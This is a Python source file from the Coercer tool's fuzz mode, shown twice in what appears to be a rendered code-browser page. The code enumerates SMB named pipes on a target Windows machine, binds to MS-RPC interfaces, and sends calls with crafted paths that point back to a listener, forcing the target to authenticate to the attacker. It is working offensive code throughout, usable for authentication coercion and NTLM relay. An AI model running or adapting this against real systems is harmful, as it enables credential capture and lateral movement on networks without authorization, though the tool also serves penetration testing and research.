coercer.core.modes.fuzz

  1#!/usr/bin/env python3
  2# -*- coding: utf-8 -*-
  3# File name          : fuzz.py
  4# Author             : Podalirius (@podalirius_)
  5# Date created       : 18 Sep 2022
  6
  7
  8import time
  9from coercer.core.Filter import Filter
 10from coercer.core.utils import generate_exploit_templates, generate_exploit_path_from_template
 11from coercer.network.DCERPCSession import DCERPCSession
 12from coercer.structures.TestResult import TestResult
 13from coercer.network.authentications import trigger_and_catch_authentication
 14from coercer.network.smb import can_connect_to_pipe, can_bind_to_interface, list_remote_pipes
 15from coercer.network.utils import get_ip_addr_to_listen_on, get_next_http_listener_port
 16
 17
 18def action_fuzz(target, available_methods, options, credentials, reporter):
 19    filter = Filter(
 20        filter_method_name=options.filter_method_name,
 21        filter_protocol_name=options.filter_protocol_name,
 22        filter_pipe_name=options.filter_pipe_name
 23    )
 24
 25    http_listen_port = 0
 26
 27    # Preparing pipes ==============================================================================================================
 28
 29    named_pipe_of_remote_machine = []
 30    if credentials.is_anonymous():
 31        reporter.print_verbose("Cannot list SMB pipes with anonymous login, using list of known pipes")
 32        named_pipe_of_remote_machine = [
 33            r'\PIPE\atsvc',
 34            r'\PIPE\efsrpc',
 35            r'\PIPE\epmapper',
 36            r'\PIPE\eventlog',
 37            r'\PIPE\InitShutdown',
 38            r'\PIPE\lsass',
 39            r'\PIPE\lsarpc',
 40            r'\PIPE\LSM_API_service',
 41            r'\PIPE\netdfs',
 42            r'\PIPE\netlogon',
 43            r'\PIPE\ntsvcs',
 44            r'\PIPE\PIPE_EVENTROOT\CIMV2SCM EVENT PROVIDER',
 45            r'\PIPE\scerpc',
 46            r'\PIPE\spoolss',
 47            r'\PIPE\srvsvc',
 48            r'\PIPE\VBoxTrayIPC-Administrator',
 49            r'\PIPE\W32TIME_ALT',
 50            r'\PIPE\wkssvc'
 51        ]
 52        if options.verbose:
 53            print("[debug] Using integrated list of %d SMB named pipes." % len(named_pipe_of_remote_machine))
 54    else:
 55        named_pipe_of_remote_machine = list_remote_pipes(target, credentials)
 56        if options.verbose:
 57            print("[debug] Found %d SMB named pipes on the remote machine." % len(named_pipe_of_remote_machine))
 58
 59    kept_pipes_after_filters = []
 60    for pipe in named_pipe_of_remote_machine:
 61        if filter.pipe_matches_filter(pipe):
 62            kept_pipes_after_filters.append(pipe)
 63    if len(kept_pipes_after_filters) == 0 and not credentials.is_anonymous():
 64        print("[!] No SMB named pipes matching filter --filter-pipe-name '%s' were found on the remote machine." % options.filter_pipe_name)
 65        return None
 66    elif len(kept_pipes_after_filters) == 0 and credentials.is_anonymous():
 67        print("[!] No SMB named pipes matching filter --filter-pipe-name '%s' were found in the list of known named pipes." % options.filter_pipe_name)
 68        return None
 69    else:
 70        named_pipe_of_remote_machine = kept_pipes_after_filters
 71
 72    # Preparing tasks ==============================================================================================================
 73
 74    tasks = {}
 75    for method_type in available_methods.keys():
 76        for category in sorted(available_methods[method_type].keys()):
 77            for method in sorted(available_methods[method_type][category].keys()):
 78                instance = available_methods[method_type][category][method]["class"]
 79
 80                if filter.method_matches_filter(instance):
 81                    for access_type, access_methods in instance.access.items():
 82                        if access_type not in tasks.keys():
 83                            tasks[access_type] = {}
 84
 85                        # Access through SMB named pipe
 86                        if access_type == "ncan_np":
 87                            for access_method in access_methods:
 88                                namedpipe, uuid, version = access_method["namedpipe"], access_method["uuid"], access_method["version"]
 89                                # if filter.pipe_matches_filter(namedpipe):
 90                                if uuid not in tasks[access_type].keys():
 91                                    tasks[access_type][uuid] = {}
 92
 93                                if version not in tasks[access_type][uuid].keys():
 94                                    tasks[access_type][uuid][version] = []
 95
 96                                if instance not in tasks[access_type][uuid][version]:
 97                                    tasks[access_type][uuid][version].append(instance)
 98
 99    # Executing tasks =======================================================================================================================
100
101    listening_ip = get_ip_addr_to_listen_on(target, options)
102    if options.verbose:
103        print("[+] Listening for authentications on '%s', SMB port %d" % (listening_ip, options.smb_port))
104    exploit_paths = generate_exploit_templates()
105
106    # Processing ncan_np tasks
107    ncan_np_tasks = tasks["ncan_np"]
108    for namedpipe in sorted(named_pipe_of_remote_machine):
109        if can_connect_to_pipe(target, namedpipe, credentials):
110            print("[+] SMB named pipe '\x1b[1;94m%s\x1b[0m' is \x1b[1;92maccessible\x1b[0m!" % namedpipe)
111            for uuid in sorted(ncan_np_tasks.keys()):
112                for version in sorted(ncan_np_tasks[uuid].keys()):
113                    if can_bind_to_interface(target, namedpipe, credentials, uuid, version):
114                        print("   [+] Successful bind to interface (%s, %s)!" % (uuid, version))
115
116                        for msprotocol_class in sorted(ncan_np_tasks[uuid][version], key=lambda x: x.function["name"]):
117
118                            if options.only_known_exploit_paths:
119                                exploit_paths = msprotocol_class.generate_exploit_templates(desired_auth_type=options.auth_type)
120
121                            stop_exploiting_this_function = False
122                            for listener_type, exploitpath in exploit_paths:
123
124                                if stop_exploiting_this_function:
125                                    # Got a nca_s_unk_if response, this function does not listen on the given interface
126                                    continue
127                                if listener_type == "http":
128                                    http_listen_port = get_next_http_listener_port(current_value=http_listen_port, listen_ip=listening_ip, options=options)
129
130                                exploitpath = generate_exploit_path_from_template(
131                                    template=exploitpath,
132                                    listener=listening_ip,
133                                    http_listen_port=http_listen_port,
134                                    smb_listen_port=options.smb_port
135                                )
136
137                                msprotocol_rpc_instance = msprotocol_class(path=exploitpath)
138                                dcerpc = DCERPCSession(credentials=credentials, verbose=True)
139                                dcerpc.connect_ncacn_np(target=target, pipe=namedpipe)
140
141                                if dcerpc.session is not None:
142                                    dcerpc.bind(interface_uuid=uuid, interface_version=version)
143                                    if dcerpc.session is not None:
144                                        reporter.print_testing(msprotocol_rpc_instance)
145
146                                        result = trigger_and_catch_authentication(
147                                            options=options,
148                                            dcerpc_session=dcerpc.session,
149                                            target=target,
150                                            method_trigger_function=msprotocol_rpc_instance.trigger,
151                                            listenertype=listener_type,
152                                            listen_ip=listening_ip,
153                                            http_port=http_listen_port
154                                        )
155
156                                        reporter.report_test_result(
157                                            uuid=uuid, version=version, namedpipe=namedpipe,
158                                            msprotocol_rpc_instance=msprotocol_rpc_instance,
159                                            result=result,
160                                            exploitpath=exploitpath
161                                        )
162
163                                        if result == TestResult.NCA_S_UNK_IF:
164                                            stop_exploiting_this_function = True
165
166                                if options.delay is not None:
167                                    # Sleep between attempts
168                                    time.sleep(options.delay)
169                    else:
170                        if options.verbose:
171                            print("   [!] Cannot bind to interface (%s, %s)!" % (uuid, version))
172        else:
173            if options.verbose:
174                print("[!] SMB named pipe '\x1b[1;94m%s\x1b[0m' is \x1b[1;91mnot accessible\x1b[0m!" % namedpipe)
def action_fuzz(target, available_methods, options, credentials, reporter):
 19def action_fuzz(target, available_methods, options, credentials, reporter):
 20    filter = Filter(
 21        filter_method_name=options.filter_method_name,
 22        filter_protocol_name=options.filter_protocol_name,
 23        filter_pipe_name=options.filter_pipe_name
 24    )
 25
 26    http_listen_port = 0
 27
 28    # Preparing pipes ==============================================================================================================
 29
 30    named_pipe_of_remote_machine = []
 31    if credentials.is_anonymous():
 32        reporter.print_verbose("Cannot list SMB pipes with anonymous login, using list of known pipes")
 33        named_pipe_of_remote_machine = [
 34            r'\PIPE\atsvc',
 35            r'\PIPE\efsrpc',
 36            r'\PIPE\epmapper',
 37            r'\PIPE\eventlog',
 38            r'\PIPE\InitShutdown',
 39            r'\PIPE\lsass',
 40            r'\PIPE\lsarpc',
 41            r'\PIPE\LSM_API_service',
 42            r'\PIPE\netdfs',
 43            r'\PIPE\netlogon',
 44            r'\PIPE\ntsvcs',
 45            r'\PIPE\PIPE_EVENTROOT\CIMV2SCM EVENT PROVIDER',
 46            r'\PIPE\scerpc',
 47            r'\PIPE\spoolss',
 48            r'\PIPE\srvsvc',
 49            r'\PIPE\VBoxTrayIPC-Administrator',
 50            r'\PIPE\W32TIME_ALT',
 51            r'\PIPE\wkssvc'
 52        ]
 53        if options.verbose:
 54            print("[debug] Using integrated list of %d SMB named pipes." % len(named_pipe_of_remote_machine))
 55    else:
 56        named_pipe_of_remote_machine = list_remote_pipes(target, credentials)
 57        if options.verbose:
 58            print("[debug] Found %d SMB named pipes on the remote machine." % len(named_pipe_of_remote_machine))
 59
 60    kept_pipes_after_filters = []
 61    for pipe in named_pipe_of_remote_machine:
 62        if filter.pipe_matches_filter(pipe):
 63            kept_pipes_after_filters.append(pipe)
 64    if len(kept_pipes_after_filters) == 0 and not credentials.is_anonymous():
 65        print("[!] No SMB named pipes matching filter --filter-pipe-name '%s' were found on the remote machine." % options.filter_pipe_name)
 66        return None
 67    elif len(kept_pipes_after_filters) == 0 and credentials.is_anonymous():
 68        print("[!] No SMB named pipes matching filter --filter-pipe-name '%s' were found in the list of known named pipes." % options.filter_pipe_name)
 69        return None
 70    else:
 71        named_pipe_of_remote_machine = kept_pipes_after_filters
 72
 73    # Preparing tasks ==============================================================================================================
 74
 75    tasks = {}
 76    for method_type in available_methods.keys():
 77        for category in sorted(available_methods[method_type].keys()):
 78            for method in sorted(available_methods[method_type][category].keys()):
 79                instance = available_methods[method_type][category][method]["class"]
 80
 81                if filter.method_matches_filter(instance):
 82                    for access_type, access_methods in instance.access.items():
 83                        if access_type not in tasks.keys():
 84                            tasks[access_type] = {}
 85
 86                        # Access through SMB named pipe
 87                        if access_type == "ncan_np":
 88                            for access_method in access_methods:
 89                                namedpipe, uuid, version = access_method["namedpipe"], access_method["uuid"], access_method["version"]
 90                                # if filter.pipe_matches_filter(namedpipe):
 91                                if uuid not in tasks[access_type].keys():
 92                                    tasks[access_type][uuid] = {}
 93
 94                                if version not in tasks[access_type][uuid].keys():
 95                                    tasks[access_type][uuid][version] = []
 96
 97                                if instance not in tasks[access_type][uuid][version]:
 98                                    tasks[access_type][uuid][version].append(instance)
 99
100    # Executing tasks =======================================================================================================================
101
102    listening_ip = get_ip_addr_to_listen_on(target, options)
103    if options.verbose:
104        print("[+] Listening for authentications on '%s', SMB port %d" % (listening_ip, options.smb_port))
105    exploit_paths = generate_exploit_templates()
106
107    # Processing ncan_np tasks
108    ncan_np_tasks = tasks["ncan_np"]
109    for namedpipe in sorted(named_pipe_of_remote_machine):
110        if can_connect_to_pipe(target, namedpipe, credentials):
111            print("[+] SMB named pipe '\x1b[1;94m%s\x1b[0m' is \x1b[1;92maccessible\x1b[0m!" % namedpipe)
112            for uuid in sorted(ncan_np_tasks.keys()):
113                for version in sorted(ncan_np_tasks[uuid].keys()):
114                    if can_bind_to_interface(target, namedpipe, credentials, uuid, version):
115                        print("   [+] Successful bind to interface (%s, %s)!" % (uuid, version))
116
117                        for msprotocol_class in sorted(ncan_np_tasks[uuid][version], key=lambda x: x.function["name"]):
118
119                            if options.only_known_exploit_paths:
120                                exploit_paths = msprotocol_class.generate_exploit_templates(desired_auth_type=options.auth_type)
121
122                            stop_exploiting_this_function = False
123                            for listener_type, exploitpath in exploit_paths:
124
125                                if stop_exploiting_this_function:
126                                    # Got a nca_s_unk_if response, this function does not listen on the given interface
127                                    continue
128                                if listener_type == "http":
129                                    http_listen_port = get_next_http_listener_port(current_value=http_listen_port, listen_ip=listening_ip, options=options)
130
131                                exploitpath = generate_exploit_path_from_template(
132                                    template=exploitpath,
133                                    listener=listening_ip,
134                                    http_listen_port=http_listen_port,
135                                    smb_listen_port=options.smb_port
136                                )
137
138                                msprotocol_rpc_instance = msprotocol_class(path=exploitpath)
139                                dcerpc = DCERPCSession(credentials=credentials, verbose=True)
140                                dcerpc.connect_ncacn_np(target=target, pipe=namedpipe)
141
142                                if dcerpc.session is not None:
143                                    dcerpc.bind(interface_uuid=uuid, interface_version=version)
144                                    if dcerpc.session is not None:
145                                        reporter.print_testing(msprotocol_rpc_instance)
146
147                                        result = trigger_and_catch_authentication(
148                                            options=options,
149                                            dcerpc_session=dcerpc.session,
150                                            target=target,
151                                            method_trigger_function=msprotocol_rpc_instance.trigger,
152                                            listenertype=listener_type,
153                                            listen_ip=listening_ip,
154                                            http_port=http_listen_port
155                                        )
156
157                                        reporter.report_test_result(
158                                            uuid=uuid, version=version, namedpipe=namedpipe,
159                                            msprotocol_rpc_instance=msprotocol_rpc_instance,
160                                            result=result,
161                                            exploitpath=exploitpath
162                                        )
163
164                                        if result == TestResult.NCA_S_UNK_IF:
165                                            stop_exploiting_this_function = True
166
167                                if options.delay is not None:
168                                    # Sleep between attempts
169                                    time.sleep(options.delay)
170                    else:
171                        if options.verbose:
172                            print("   [!] Cannot bind to interface (%s, %s)!" % (uuid, version))
173        else:
174            if options.verbose:
175                print("[!] SMB named pipe '\x1b[1;94m%s\x1b[0m' is \x1b[1;91mnot accessible\x1b[0m!" % namedpipe)